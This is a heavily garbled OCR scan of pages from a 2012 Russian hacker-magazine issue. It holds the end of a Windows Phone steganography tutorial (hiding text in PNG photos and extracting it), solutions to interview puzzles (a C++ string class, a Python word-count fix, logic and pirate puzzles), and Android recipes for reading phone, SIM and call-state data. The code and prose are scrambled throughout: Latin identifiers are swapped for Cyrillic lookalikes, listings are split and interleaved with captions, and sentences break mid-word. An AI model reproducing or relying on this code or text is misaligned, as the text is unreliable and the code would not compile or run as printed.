, GеtUsегStогеFогАррliсаtiоп(); " stгing fileStгing = System.I0.Path.GetFileName("*"1, stгing[] fites = stoгeFite.GetFileNames("*"); ( i = 0; i < stoгeFile.GetFileNames("/"
fileStгing).Length;
i
i++)
+ +
{
Stгing fileName = stoгeFile.GetFileNames(filestгing)[i]; Stгiпg ext = fileName.Substгing(fileName.Length - 3); (ext == "рпс") IistBox1.Items.Add(fileName)j
}
Приведенная функция выбирает файлы с расширением рп9 следующим образом, Сначала она очищает список, чтобы он не засорялся при перехOде между страницами, а всегда запOлнялся только существующими элементами. Следующим действием, по традиции, получаем объект изолированного хранилища. Затем определяем путь к файлам.,щалее заполняем массив строк именами всех файлов. Потом в цикле перебираем все файлы, определяя расширение каждого путем взятия подстроки, начинающейся с трех символов от точки и продолжая до ее конца. Если расширение файла совпадает со строкой символов (рп9>, в таком случае подготовленная нашей прогой фотография, тогда этот файл объект класса добавляем имя этого файла в визуальный список
-
Li st
-
Вох.
Теперь во время активации данной страницы 1со списком) необходимо выполнить вызов только что описанной функции: в конце
r *гдЕ
проводник? мАЙкрOсоот, чт0 Tbl сдЕлАл с прЕкрАснOи,
САМОЙ СОВЕРШЕННОЙ, МОВЙ
люБи}iOи
W].{
6.х?
Рис. 2. Изобрахениеуспешно
Рис. t. Создан один файл
загружено
обработчика 0nNavigatedTo добавь вызов - GetFiles{J;. Если сейчас запустить наше приложение [в том числе и на реальном смарте), то после ее загрузки в списке, находящемся внизу экрана, будет нахоимя файла диться один элемент фотографии, сделанной тобой на предыдущем тесте, включая точное время снимка 1рис. 1l.
-
-
ЗАГРУЗКА ИЗOБРАЖЕНИЯ
Следующий шаг- загрузка сохраненной картинки и извлечение из нее скрытого сообщения. Первым делом следует увеличить размер шрифта в списке, чтобы было удобно выбирать элемент прикOснOвением. ,Щля выбора изображения можно воспользоваться как минимум двумя событиями: SelectionChanged и Тар объекта класса ListBox, Первое из них происходит во время выбора пункта списка {прив момент отпускания пальца. Воспользукосновением), а второе емся последним, в его обработчик напиши такой код:
-
ListBoxItem Itemconta i
selectedltem
ne пGепе
гаtо
г
.
1istBox1.-
conta ine гF поmltеm
(
.
р
l1stBoxl.SelectedItem) as ListBoxltem; Stгing fileName = selectedltem.DataContext.ToStгing(); чаг 1sоStоге = IsolatedStoгageFile,*
GetUsenstoгeFonApplication ( ) ; Bitmaplmage(); Bitmaplmage sочгсе = (IsolatedStoгageFiIeStгeam filеStгеаm = isoStore.e OpenFite(fileName, FileМode.Open, FileAccess.Kead)) { sou гсе . Setsou гсе ( fileSt rеаm ) ; souгce.CгeateOptions = BitmapCneateOptions. None;
i
imаgеl.Sоuгсе = sочгс€.i В приведенном коде мы получаем выбранный в настоящий то есть текст. момент пункт списка. Затем получаем его контент Традиционно нам нужен объект хранилища, далее создаем невизуальный контейнер для картинки и загружаем в него данные файлового потока. Этот поток создан на основе текстового контента пункта списка, который является именем файла. Так как открытие [в отличие от сохранения) РNG-файлов входит в стандартную функциональность WinPhone, как мы убедились в этом выше, никаких дополнительных телодвижений не нужно. Последним действием покажем изображение в визуальном компоненте. Oпl Чтобы заработал класс Bitmaplmage, надо подключить соответствующее [рис. 2l. пространство имен: System,Windows.Media.lmaging;
-
.i l.
цдъ7l?р1.2 l*\;
il*
,: .
_ J
-
lsill;, (чаг isоStоге = IsolatedStorageFile.e i
\!
)
)
.r...
rоrр.6_'' З"
r"рft ,frd'
-
{
Г (isostoгe.FileExists(fileName))
роект:
тинки спрятанное при сохранении текстовое сообщение. Этим i , ---. займется функция ЕхtгасtтехtFгоmlmаgе, которую нам предстоит написать, Поскольку она достаточно велика по объему, здесь мы ; приведем только краткий ее обзор, а функцию целиком ты можешь посмотреть на нашем диске. После того как текстура загружена в объект класса Bitmaplmage {это происходит в обработчике.сфЁr-' тия Tapl, на его основе создается модифицируемая карта пиксе-. лей объект класса WгitеаЬlеВitmар, Затем создается пустой поток [объЬкт класса МеmогуStгеаm), в лоrорr,й будет за;исано извлеченное текстовое сообщение. !алее создается поток для ключа. Этот поток возвращается функцией GеtStгеаm, в качестве параметра принимающей текстовую константу, на основе которой создается поток байт. Подготовленные объекты передаются функции ЕхtгасtТехtFгоmlmаgе, при этом пустой поток сообщения передается п0 ссылке, тогда как остальные - по значению. Пропустив инициализацию переменных функции ЕхtгасtтехtFгоmlmаgе. I видим считывание длины зашифрованного сообщения из первого пикселя изображения. Затем начинается цикл. В нем происходит обход определенных с помощью ключа пикселей битмапа и их считывание. Извлечение схоже с операцией скрытия информаци'и . {см, прошлую статью), в том смысле, что вычисление расположен ия следующего пи кселя в изображен и и для эаписиlсчиты вания 0существляется по одному алгоритму. После определения позиции текущего пикселя из него выбирается имеющий скрытую инфу байт через выборку значения определенного цветового компо-
Меж тем список файлов довЬльно быстро растет, а хранилище активно заполняется. А значит надо добавить возможность удаления файлов. Повесим эту задачу на обработчик события двойного нажатия - DoubleTap. Создай обработчик и после получения объекта класса ListBoxltem и его имени [чтобы освежить воспоминания см. предыдущий листинг] напиши такую конструкцию:
GеtUsегStогеFоrАррliсаtiоп(
[- п
{
li stBox1 . Items . Remove ( 1i st Вох1 . SelectedItem 1sоStоге. DeleteF ile (fileName );
);
}
В результате выполнения этого кода из хранилища будет удален файл с именем, соответствующим пункту списка, а также сам этот пункт. Заметь: код в обработчиках сO6ытий заключен в конструкции tгу/саtсh (для экономии пространства в листингах не приведены), это сделано для обработки исключения в результате выбора пустOг0 пункта списка прикOснOвения к пустому пространству. -
вOсстАнOвлЕниЕ инФOрмАции
Теперь, когда миниатюра изображения успешно загружена и отображена в визуальном компоненте, необходимо извлечь из кар-
-
дOступ к сOдЕржимOму изOлирOвАннOг0 хрАнилищА Windows Рhопе не предоставляет средств для отображения объектов, хранимых в флешпамяти. С одной стороны это логично, с хранили ще]yt работа ют искл ючительно п риложения, для каждог0 из кOторых выделяется определенная область паtlяти. 0днако в процессе разработки порой приходится создавать большое число разнообразных объектов и появляется необходимость следить за содержимым хранилища -за созданными в нем объектами.,Щля этого в стандартный набор SDK WP 7.1 входит утилита командной строки lSETool.exe. Я не испытываю великой любви к командным строкам и считаю, что обозревать содержимое хранилища удобнее в графике. Поэтому пользуюсьутилитой Windows Phone 7 lsolated Stora9e Ехрlогеr, которую можно бесплатно скачать с сайта майкрософтовского опенсорса - CodePlex [wр7ехр!qгеr.qqdерlех_соml. После скачивания утебя появится МSl-инсталлятор. В результате инсталляции в систему будет установлена оконная утилита. С чистого листа она не поках(ет содержимое хранилиша, предварительно в приложение для смартфона нужно добавить поддержкуутилиты. flля этого в V5 перейди в окно дdd Rеfегепсеl добавления ссылки [рrоjесt и уже в нем перейди на вкладку Вгоwsе. Перейди в ту папку, куда ты установил рассматриваемую утилиту, а далее - в подпапку LiЬгагу [по умолчанию: с:\Ргоgrаm Files Ix86l\WP7 lsolated Stоrа9е Ехрlогеr\LiЬrагу\l. оттуда выбери имеющуюся Tar.r dll'Ky IlsolatedStoгa gеЕхрlогеr. dlll. Затеr,r в своем приложении открой файл Арр. xaml.cs, В нем содержатся пустые обработчики
-
-
a*
.$d
tчVР7
-El
bolatad Stora9e Ехрlоrсr
Phototld(G] 1ОJ.0
. Пi
Е
7
z, , ,*
х
itt
МоzrЁ Т86Ш
bolated Storagc Filс
' ý
Sharcd mс5ý!9с.ЬС photo 05IB2012 12.,|8J9.рпg
Рис. 3. 06зор содержи.,lого
хранилиlца
событий, возникающих в процессе жизнедеятельности приложения. flBa из них нам нужно обработать. В момент запуска приложения [событие Application_Launching} необходимо открыть эксплорер и вписать в обработчик такую строку: <lsоlаtеdStогаgеЕхрlогег.Ехрlоrег. Staгt["localhost");>. localhost замени именем или lР-адресом своего компа, на Koтopo1,1 ты ведешь разработку. Второе событие. которое нам желательно обработать, - это Application_Activated, вOзникающее при активации прилOжения. Выжги в нем огненными буквами воттакую строчку: "lsоlаtеdStоrа9еЕхрlоrеr.Ехрlогег. RеstоrеFrоmТоmЬstопе[l;>. Теперь после запУска прилOжения мOжн0 пOсмотреть сOдержимое хранилиlла смартфона, нЪ KoTopol.,t оно запу-
щено. flля этого открой или саму утилrrу Wb lsolated Stога9е Ехрlоrеr из i{еню <Пуск>, или дополнительное окно в студии: View Оthёг
-
Windows t WP7 lsolated Stогаgе Ехрlоrег. В обо:. их случаях после загрузки в появившемся oKHq должно отобразиться ного храНИЛИЩа хранилища tРИС. J'. LС ПОltlOЩЬЮ поtсощью КOНТ*Т[рис.3l. контедт- ного меню эле!|ентов содержимого окнаФкно
..о;;;;;;;;;;;;;;Ы
Р. S. После того как ты отдебаrкишь свое приложение, не забудь удалить добавленные строки и заодно и приаттаченную либу, иначе ты рискуешь получить неработоспособное дебаггера приложение, которое будет падать сразу после запуска в свободной
.
среде. J
,.
.t
!:
lФдинг
I
0сновной функционал разработан, однако есть кое-что, что нам было бы желательно доработать, Так, мы не разработали механизм передачи созданного фотоматериала другому удаленному пользователю. Сейчас это возможно только кружным путем перекинуть фото на компьютер, воспользовавшись сOветOм, приведенным в0 врезке, а уже пOтOм сделать с ним все, что угодно. Что касается передачи напрямую со смартфона, то тут WP с удовольствием раскладывает подводные камни на нашем фарватере. WinPhone не предоставляет простых средств для передачи фотографии, например в качестве вложения в электронное письмо, И хотя последнее обновление операционной системы добавило возможность передачи MMS с файлами изображений, это можно сделать только с пользовательског0 урOвня, а у прOграммистOв пO-прежнему нет инструментOв для реализации подобных действий из приложения. Будем надеяться, что в следующей версии SDK этот фэйл [или фича, чтобы Прим. ред. ;l] будет поправлен, обеспечить безопасность? Существует возможность отправки двоичного кода изображения в теле письма, н0 в этOм случае на ег0 размер накладываются жесткие ограничения. Oно не может быть больше З2 Кб (это чтобы ты, Юра, не протроянил смартфон очередной Скарлетт Йохансон Прим. ред.). и не переправил ее фотки в журнал <Хакер> :). ,Щля изображения в PNG это убийственное ограничение. Между тем есть облачное хранилище SkуDгiче. Можно туда залить нашу модифицированную фотку и расшарить ее с нашим удаленным дешифратором, чтобы он мог скачать ее. И этот вариант выглядит наиболее предпочтительным. 0днако в данном случае появляются свои неприятности: стандартный APl для Windows Phone позволяет сохранять изображения только в формате JPG, который уничтожит все наши спрятанные в фотографию данные. К сожалению, реализация решения со SkуDгiче довольно объемна и требует отдельной статьи, но редактор сказал, что на двух статьях мы завершаем цикл [а на меня давит главред вообщето. Прим. ред.J. Печально, но что поделаешь. В ближайшее время я постараюсь написать о SkуDгiче, но в другой теме. И тогда ты сможешь приделать решение к своему проекту РhоtоМаkег. так что оставайся на связи!
к сожАлЕнию, в WINDOWS РНOшЕ п0 У1.{0лчАНию НЕт ОУНКЦИИ СНЯТИЯ СКРИНШОТА
-
-
тЕкуlцЕг0 изOБрАжЕния
экрАнА lА_ля PRINTSсREENI GеtСоlогСоmропепt. Ей пенента, которое возвращается
функцией редаются цветтекущег0 пикселя и нOмер цветOвOг0 кOмпOнента. 0пираясь на его номер, она выбирает значение канала. Прежде чем присвоить это значение переменной foundByte, на него операцией исключающего (<или) воздействует реверсивный байт ключа [его значение найдено ранее). После получения итогового байта он записывается в поток сообщения, Затем происходит смена номера цветового канала для применения на следующей итерации. , По завершении цикла в переменной mеssаgеStгеаm содержатся все байты, составляющие скрытое сообщение. Этот поток возвращается в обработчик события Тар, где преобразуется в юникодовую текстовую строку. Последняя, в свою очередь, выводится в текстOвOе пOле. 0брати внимание: при смене страниц миниатюра фотки исчезает. Поэтому, подобно тому как мы делали с текстом [см. статью в прошлом HoMepel, необходимо во время ухода со страницы с цйЪиатюрой сохранить ее в флеш-памяти, а при возврате на эту загрузить оттуда. Поскольку этот код похож на тот, стРаницу чт0 мы уже рассматривали и писали, привOдить ег0 в журнале как обычно, тебя ждет исходник проекта на диске. я не буду,
-
-
ЗАКЛЮЧЕНИЕ
-
Вот и подошла к завершению разработка очередного приложения для Windows Phone. На этот раз мы создали стеганографическую тулзу, которая прячет текст в фотках твоего смартфона и так же легк0 ее 0ттуда извлекает.
fг
,l,
ЕЕш
*рЕшЕниЕ прOБлЕмы... скриншOтOв! Когда текущий сеанс работы прилOжения не зависит 0т предыдущего, его жизненный процесс можно показать, делая скринtлоты эмулятора. Но для наtшего настоящего приложения этот вариант не пOдхOдит, пOскOльку, во-iервых, необходиt-tо его тестировать на реальном девайсе, а во-вторых, наша'iiрога создает контент, который , надо сохранять между сеансами. Поi эtrоlиу нужен способ снятия скриншота lцfoаботаюrцего на смартфоне приложенлцК сожалению, в Windows Рhопе ,- п0 у},lýrтчанию нет Qункции снятия - скриншота текущего изображения экрана [а-ля ргiпtsсrееп}. Вполне реально разработать такую фичу catloстоятельно, тем более что я не обнару'цил бесплатных тулз подобного рода ейсе. 0днако под конец атьи разрабатывать ее мне было пOэт0!lу я прOдOлжил поиски. ,
l:,,i*
}4icrosoft 0реп
Sочrсе
держимого экрана, сохранит его в файл и по!lестит результат в папку сохраненных фотографий [к сожалению, только в jpg). Утила имеет страницу Help, где подробно описано, как она
3абавно, но решение было найдено не в Маркетплейсе, а на сайте независимого сообщества разработчиков П0 для мобильных технологий. И находится оно по адресу:
работает.
Так как это приложение lSсгееп Сарtчгегl расположено не в Маркете, надо скачать запакованный ХАР-файл и развернуть его на смартфоне с помощью утилиты Application Deployment, входящеЙ в состав SDK [рис.4l. Чтобы воспользоваться функциональностью Sсгееп Сарtчгеr, достаточн0 выполнить его и запустить задачу захвата изображения через нажатие кнопки (Staгt Сарtчге Task>. В результате на выполнение запустится фоновый поток. 0н будет ожидать нажатия аппаратной кнопки фотозахвата, после чего сделает отпечаток текущdго со-
_r..
Jl
-l^ r!ъ'-. I
место,
граl,ill,i|ИРОВаНИЯ
под платфорttы от i,licroýoft.
ш
диске находится финальная версия На
.
:
-
rде можно найти l.laccy тУлз и ис, хOдников для пр0-
прилOжен],tя Photo1-1aker. Нащ l.tогучий ][-проект готов! Прочlлая статья
также ждет тебя на нашем диске. i,lы понимаем, что это бесчелOвечно - заставлять тебя доставать ноябрьский хурнал с антресолей.
Рис. /.. приложение Application Dерlоуmепt
,"
.fi}
,*
кOдинг
подБOркА интЕрЕсньlх
зАдАний, которьlЕдАют нА сOБЕсЕдOвАниях
r Зада:и на
сооеседованиях
3адача
Ng
1
/ / 7) конструктор по умолчанию МуStгiпg( void ).; / / 2) конструктор копирования
услOвиЕ Напишите Stгiпg-класс, который бы имел: 'll конструктор по умолчанию; 2) конструктор копирования; З] деструктор; 4) операторсравнения (аналогstгсmр); 5) конструктор, принимающий параметром массив символов; 6] stгеаm<<оператор.
MyStгing(const MyStгing & s); //
// 6)
stгеаm << оператор fгiend std::ostneam & орепаtог const MyStгing & s);
рЕшЕниЕ
0писание класса Mystгing <iоstгеаm>
class МуStгiпg public:
Мы немного меняем формат рубрики, поэтому сегодня мы публикуем тOльк0 правильные 0тветы на задачки из прошлого номера. Новая
партия интересных задачек появится только в следующем. Потерпи месяцок, дождись окончания нашей небольшой реформыI
12116?1 2012
сиlчволов
1. Il
<<
s) const;
(std::ostгeam & out,
ргiчаtе: chan * Ьчffег_; size_t buffen_size_;
{
0т рЕдАкции
хлкaр
принимающий параметром массив
// З) деструктор *MyStгing( void ); / / 4) оператор сравнения Ьоо1 орегаtор == (const МуStгiпg &
Из условий очевидно, что класс должен быть написан на языке С++, пOэтOму первым делом кOдим интерфейс.
#include
5) конструктор,
MyStгing(const char- сhап_агпау[], const size_t size);
Помимо требуемых в задании методов, мы определили еще и приватные переменные. Указатель на сhаг будет ссылаться на область памяти, в которой будут храниться символы нашей строки, а Ьuffег_sizе_- размер этой области. Так как мы работаем с динамической памятью, в деструкторе мы должны будем освобождать ее для предотвращения утечек. 0стальные методы реализуются впOлне заурядн0.
Реализация класса MyString
#include "MyStгing. h" #include <Windows. h>
MyStгing: :MyStгing(void)
buffeг_size_(0) t}
: Ьчffег_(пчlIрtг),
е
кOдинг Mystгing & s) { buffen_size_ = s.buffer_size_; Ьчffег_ = new chaг[this - > buffeг_size_];
MyStгing::MyStning(const
this this -
> >
memcpy(this
-
buffen_size_);
Ьчffег_, s.buffeг_, this -
>
>
неизящностей. Подправьте имеющийся код до удовлетворительног0, по вашему мнению, сOстояния.
рЕшЕниЕ
р
При беглом просмотре кода становится понятно, что его основная задача - пOдсчет кOличества симвOлOв, слOв и стрOк в передаваемой функции wc переменной, Также в модуле присутствует вспомогательная функция is_lеtег, которая, судя по всему, должна определять, принадлежит ли переданный ей символ к буквам латинского алфавита. Сначала займемся функцией wc. Локальные переменные l, w и с обозначают соответственно количество строк (линий), слов и символов. Подсчет символов ведется в цикле fo1 что нецелесообразно, поскольку это значение равно значению, возвращаемому функцией lеп. Также в цикле определяется количество слов. !ля этого в операторе if проверяется текущий символ, и если он не является буквой или символом <<->> или.\r, непосредственно перед которым и после которого находятся буквы, то мы увеличиваем счетчик w. В глаза сразу бросаются два промаха. Во-первых, следующий вызов is_lеttег[i+1)явно ошибочен, так как в этом случае мы передаем функции не символ строки s, а просто целое число. Вовторых, перебор в fог не учитывает возможность выхOда за границы диапазона переменной s при обращении к ее элементам по индексу i, Есть и логические ошибки, Например, если в строке встречается несколько разделительных символов, например пробелов, то количество слов посчитается неправильно. К неизящностям в этой функции можно отнести также перенос условий в операторе ветвления с помощью *\r. Более удачным решением будет оформление условия с помощью скобок. Наконец, инициализацию счетчиков лучше производить по отдельности. Учитывая все это, получим следующий код:
}
МуStгiпg: :MyStгing(const сhаг сhаг_аггау[], н
const size_t size)
{
buffeг_size_=size+1; Ьчffег_ =
сhаг[Ьчffег_sizе_];
new
ZегоМеmогу(Ьчffег_, buffen_size_) mеmсру(Ьuffег_J сhаг_аггау, slze)
;
;
}
MyStning: :-MyStning(void) if (Ьчffег_ != пчllрtr)
{
delete[] Ьчffег_;
}
Ьоо1 МуStпiпg::орегаtог == (const MyStning & s) const if (buffeг_size_ != s.buffen_size_) геtuгп fatse1
fог (size_t i = 0; i < buffeг_size_; i++) { if (buffeг_[i] != s.buffen_{i]) геtuгп false; }
геtuгп tnue; }
std::ostгeam & орепаtог << (std::ostneam & out, н const МуStгiпg & s) { out << s,buffen_; геtuгп out; }
Исправленная версия функции
3адача
def wc(s):
Ng 2
1=0
W=0 с = len(s)
услOвиЕ flaH код: # !
fог i iп гапgе(1, с):
/usг/Ьiп/руthоп
def is_letten(char): 1еttегs ='abcdefghijklmnopqгstuvwxyz' if stг(сhаг).lоwег( ) in lеttегs:
сhаг = s[i]
.split(None)
if ((not is_letteг(char) is_letteг(sIi - 1])) and
геtuгп Тпче else: геtuгп False
1=w=с=0
is_letteг(sIi - 1])
fог i in гапgе(lеп(s)): сhаr = s[i]
is_letten(sIi (сhаг
с+=1
if not is_lеttег(сhаг) and not (is_letteг(sIi-1]) and is_letteг(i+1) and (сhаr is '-' е ог сhап 1s'\")): w+=], ==
1+=1
'\n'
==
"*main_"
imрогt doctest doctest. testmod(
-
:
геtuгп '%d\t%d\t%d\n'
if _паmе_
and
not(i<c-land
def wc(s):
i.f сhаг
wc
%
(1, w,
с)
:
)
Попробуйте угадать, что именно он должен делать. Найдите в нем максимальнOе количество ошибок, неаккуратностей и просто
+
1])
and and
is ' -' ог сhаг is 'r'
w+=1
if сhаr
==
I+=1
'\п'
')))
:
:
if is_letteг(sIc W+=1
1]):
if not s[c - r] =='\n': l+=1
if s[0]
==
1+=1
'\п':
геtuпп '%d\t%d\t%d\n'
%
(1, w,
с)
хлкЕр
12/16712012
Задачи на собеседованиях
Функция is_lеttег также содержит ошибки. Прежде всего, проблема в неправильном формировании строки с символами латинского алфавита. Код в задании создаст list, причем из двух элементOв, вследствие чего оператор iп будет работать не так, как мы этого ожидаем, Также, передавая очередной символ в is_letteг, не надо оборачивать его функцией str, а тело блока else должно быть на следующей строке после условного оператора. С учетом всего этого получается:
Испрагная
версия функции _is_letter
def is_lеttег(сhаг): Ietteгs ='abcdefghijklmnopqгstuvwxyz],
if сhаг.lоwег() in 1etteгs:
геtuгп Тгче else: геtчrп Fаlsе Ну
и
последнееt
на
что
следует
обратить
внимание,
это
ис-
-
Ng 3
услOýиЕ
Зl
вселягушата-веселые;
бl
еслилягушонокзеленый,тоон плавает.
4) все веселыелягушата-зеленые; 5) вселягушата-грустные;
н и
й
верн
ы
?
рЕшЕниЕ того чтобы не ломать себе мозг долгими логическими выкладками, вOспOльзуемся наглядным методом решения кругами Эйлера. Круги Эйлера это геометрическая схема, с помощью которой можно изобразить отношения между под,Щля
-
м
нOжества
м
уиOвиЕ Пять пиратов на острове должны разделить между собой сотню золотых монет. 0ни делят свою добычу так: старший пират предлагает, как делить добычу, а потом каждый голосует, соглашаясь с его предложением или нет. Если по меньшей мере половина пиратOв прOгOлOсует (за>, 0ни пOделят монеты так, как предложил старший пира1 если же нет - его убивают и все начинают сначала. Самый старший пират [из тех, кто выжилl предлагает новый план, за него голосуют по тем же правилам, а потом или делят добычу, или убивают старшего пирата. Так продолжается до тех пор, пока какой-то план не будет принят. flопустим, ты старший пират. Как ты предложишь разделить добычу? Все другие пираты жадные, мыслят 0чень лOгичн0, и все хOтят жить.
рЕшЕниЕ !ля
решения данной задачи надо сначала определиться с некOтOрыми недосказанностями в условии. Поскольку наши пираты крайне логичны, то очевидно. что инстинкт самосохранен ия у них развит сильнее, чем чувство жадности. Это очень важный момент, который позволит тебе как старшему пирату наиболее рационально распределить добычу. Начнем с конца. Первым делом пронумеруем пиратов oT'l до 5, где пират No 'l самый младший, а Ns 5 это ты. 0чевидно, что если первый и второй пираты останутся наедине, то второй заберет себе все 100 золотых, поскольку его первый голос будет той необходимой половиной для принятия плана. Зная это, третий бандит спокойно может дать один золотой пирату Ne 4, который прOст0 прыгает 0т счастья, так как эт0 лучшее, на что он мог расс ч иты вать. Четвертому пирату нужно заполучить хотя бы один голос за свой план дележки, и он, зная, что в случае его смерти коллега Ns 2 останется ни с чем, предлагает ему 'l монету, оставляя себе 99. А тебе, как пятому и самому старшему пирату, нужно переманить на свOю стOрOну целых двух твоих (товарищей>. И, учитывая задумку распределения добычи четвертого бандита, по которой пираты No З и 'l останутся ни с чем, ты предлагаешь им по монете, обеспечивая себе таким образом нужное количество голосов. Конечно, ты бы мог лишить золотого первого или третьего бандита и дать его пирату Ns 2. но в этом случае его поведение было бы неOпределенным, поскольку если бы ты умер, то он бы все равно получил свой эолотой, а следовательно, он мог бы воспользоваться этим щансOм для сведения личных счетов с тобой. t
и.
Из получившейся схемы видно, что все грустные лягуцата сидят на берегу, все пестрые лягушата плавают в воде и все зеленые лягушата веселые. Также получается, что все лягушата -либо зеленые, либо пестрые. Теперь можно по очереди примерять на рисунок каждое предположение. Первый пункт оказывается неверным. поскольку круг зеленых лягушат пересекается с берегом. Точнее, он может пересекаться, ничт0 ему не мешает это сделать. Круги Эйлера расположены так, чтобы не противоречить начальным условиям, но и не ограничивать себя. предположить, что на берегу остались только грустные лягушата, тоже нельзя, ведь желтый круг пересекает коричневый. А вот третье утверждение оказывается правильным. Мы никак не можем заставить круг пестрых лягушат пересечься с кругом грустных. поскольку оба этих множества находятся в непересекающихся надмножествах: (сидят на берегу) и (плавают в воде>. Все последующие утверждения тоже оказываются некорректны. С помощью таких построений мы получаем, что обязательным является лишь 0дн0 услOвие все лягушата веселые.
-
-
хлкЕр
121167/2012
4
-
Если лягушонок зеленый, то он веселый. Если лягушонок грустный, то он сидит на берегу. Все лягушата либо зеленые, либо пестренькие. Если лягушонок пестренький, то он плавает в воде. Тогда обязательно: 1l вселягушата плаваютв воде; 2) на берегутолько грустныелягушата;
Ка кие из этих утве ржде
Ng
-
пользование библиотеки doctest для генерации unit-TecToB из комментариев к функциям. ,Щело в том, что в данном случае это вообще бессмысленно, поскольку в этом коде попросту нет ни одного комментария, который бы мог использоваться модулем doctest. Соответветственно, от этого куска можно отказаться совершенно безболезненно.
3адача
3адача
Круги Эйлера для лягуl!,lат
кодинг
Денис Колисниченко (dhsilabsBgmail.com]
шЕсть пOлЕзньlх
рЕ цЕ
пт0 в
п р0 грА},| м Е
PA}i
В этой статье мы рассмотрим шесть полезных рецептов, которые пригодятся п ра ктически л юбому Апdгоid-п рогра ммисту. Сразу скажу: рецепты рассчитаны на то, что читатель уже знаком с разработкой приложений для Апdгоid. Азов здесь не будет. Все рецепты написаны на Java, а сами проекты создаются в Eclipse.
пOлучЕниЕ инФOрмАции
0 тЕлЕФOнЕ
1
Класс ТеlерhопуМапаgег можно использовать о телефоне, определения его состояния и набора номера абонента. В первом рецепте мы поговорим о получении информации о телефоне. Первым делом создаем проект приложения по умолчанию [пусть наше приложение будет называться TMl. В файл манифеста нужно добавить следующую строку: рЕцЕпт
для получения информации
java. ,Щумаю, код достаточно закомментирован и не нуждается в дополнительных комментариях. Мы создаем экземпляр класса ТеlерhопуМапа9ег и (вытягиваем> из него полезную информацию
Листинг
Stгiпg ',
НаходиN]
тскстовую
область
в
разметке
1д = ( ТеlерhопуМапаgег
)
getSystemSeгvice
(
/>
Файл разметки тоже практически будет без изменения. Мы добавим лишь свойство id для элемента TextView. Файл разметки приведен в листинге 1.
телефоне
LEPHoNY_SE RVIсE
)
j
с l рок
пбщJя
инфорj,lдция
об
у(троистве
sЬ. аррепd( "0бщая информация
: \п\п"); sb.append("ID устройства :"). е append (tm. getDeviceld ( ) ) . append ( EOL); sЬ.аррепd("Версия ПО: "). +
( tm . getDeviceSoftwa геVеrs ion ( ) ) . append sb.append("Hoмep телефона: "). * append (tm. getLinelNumbeг( ) ) . append( EOL);
append
Файл разметки ТМ/геs/Iауочt/mаiп.хml
<?хmI чепsiоп="1.0" епсоdiпg="цlf-8"?> < LineaгLayout xmlns : andnoid=" http : //schemas . and гоid. соm/
pkl геs/ а nd гоid " andгоid : oгientation="vегtiса1" апdгоid : layout_width= "fi 11_рагепt " апdгоid : Iayout_height="fi Il*paгent" > <TextView апdгоid : id="@+idllnfo" апdгоid : 1ayout_width= "fi 11_рагепt " android : 1ayout_height="wгap_content апdгоid, 1g><1="@stгing/he1Io" / > </LineaгLayout>
ТЕ
StгiпgВчildег sb = пеw StгingBuildeг();
<uses-peгmission апdгоid : паmе=ё "andnoid. регmissiоп. READ_PHONE_STATE"
1.
Фрагмент кода приложения
info =(Textview) findViewById(R. id.info); , Создаем объект tnl для получения информации о ' ,/ Буфер
Листинг
2.
EOL = "\п";
а
//
Выводим содержимое буфера cTpol( ( sb. tostning( ) ) ;
info. setText
(
EOL ) ;
в текстовую область
Получить информацию об операторе, выдавщем Slll-KapTy, },l0жн0 так: "
После создания файла разметки можно приступить к написанию кода. Примерный код см. в листинге 2. Полный код приложения ты найдешь на компакт-диске (такое решение было принято, дабы не растягивать текст статьи) в файле TMActivity.
. . . .
tm.gеtSlmСоuпtгуlsо()-кодстраны[lS0); tm.gеtSimOрегаtог(l-краткое названиеоператора; tm.gеtSimOрегаtогNаmе(l-названиеоператора; tm.gеtSimSеriаlNumЬег[)-серийный номерSlМ-карты.
.
Информация о текущей сети: tm.9еtNеtwогkOрегаtог()-названиетекущегооператорасети [оператор, выдавш и й Sl М-карту, может отл ичаться оттекуцего оператора, когда пользователь находится
в
роуминге);
хдкЕр
121167l2012
Готовим приложение для Апdгоid
. о
tm.gеtNеtwогkOрегаtогNаmе()-полное название оператора сети; tm.9еtNеtwогkСоuпtгуlsо{)-странаоператорасети(посути, это страна, в которой вы находитесь, вы в роуминге, -когда это значение отличается от значения tm.9etSimCountгylso(l).
. . .
Также можно получить другую информацию:
tm.gеtSuЬsсгiЬеrld{J-lDабонента; tm.gеtVоiсеМаilАlрhаТаg(l-альфа-тегголосовй почты; tm.gеtVоiсеМаilNumЬег()-номерголосовOгопочтовогоящика.
.1 L/
+lАБOр нOмЕрА
рЕцЕпт
Теперь разберемся, как набрать номер телефона. Чтобы получить разрешение на набор номера, добаВЛЯеМ В файл манифеста такую строку:
<uses-peгmission апdгоid "апdгоid. регmissiоп. CALL_PHONE" />
:
staгtActivity(new Intent(Intent.ACTION_CALL, н номер" ) ) );
staгtActivity(new Intent(Intent.AсTION_DIAL,
Uгi. рагsе( "te1: номер"
))
= (TextView) findViewByld(R. id. info); Создаем обьект класса ТеlерhопуМапаgег 1ц = (ТеlерhопуМапаgег) gеtsуstеmsегчiсеё (ТЕ
-
Затем ты можешь использовать одну из двух операци й или ACTION_CALL или ACTlON_DlAL. Первая операция отобразит диалог с набираемым номером [как обычно при наборе номера вручную), вторая операция наберет номер без показа какого-либо интерфейса пользователя.
Uгi. рагsе( "tе1:
lnfo
//
паmе=Ё
/
tnr.
\.' рЕцЕпт
0тслеживать состояние телефона
info. setText Ь
;
:
IDLE " ) ; CALL_STATE_OFFHOOK
:
incomi
CAL L_STATE_RINGING
:
е
Ь
З.
Полный код приложения ты найдешь на DVD в файле CallState.java
Реакция на изменение состояния звонка
геа
ngNumbe
п)
Вход. номер:" +
*
;
l<;
defaUlt:
апdгоid. регmissiоп. READ_PHONE_STATE" />
Файл разметки будет таким же, как у приложения ТМ [см. листинг 1}. Фрагмент кода приложения представлен в листинге
se ТеlерhопуМапаgег.
info.SetText("RINGING,
паmе=р
impont апdгоid.tеlерhопу.ТеlерhопуМапаgег;
{
Ьгеаl<; с а
-
хлкЕр 12l1b7/2012
iпсоmiпgNчmЬег)
info.SetText("OFFHOOK, Вход. номер:" +
Ьпеаl<;
} // switch
} // onCallStateChanged }
Наше приложение выводит
в
текстовую область (TextView]
с именем info состояние телефона и номер входящег0 звонка, если
таковой имеется.
t ll Lt
-
imрогt andгoid.telephony.PhoneStateListenen;
геа k;
("
case ТеlерhопуМапаgег.
в
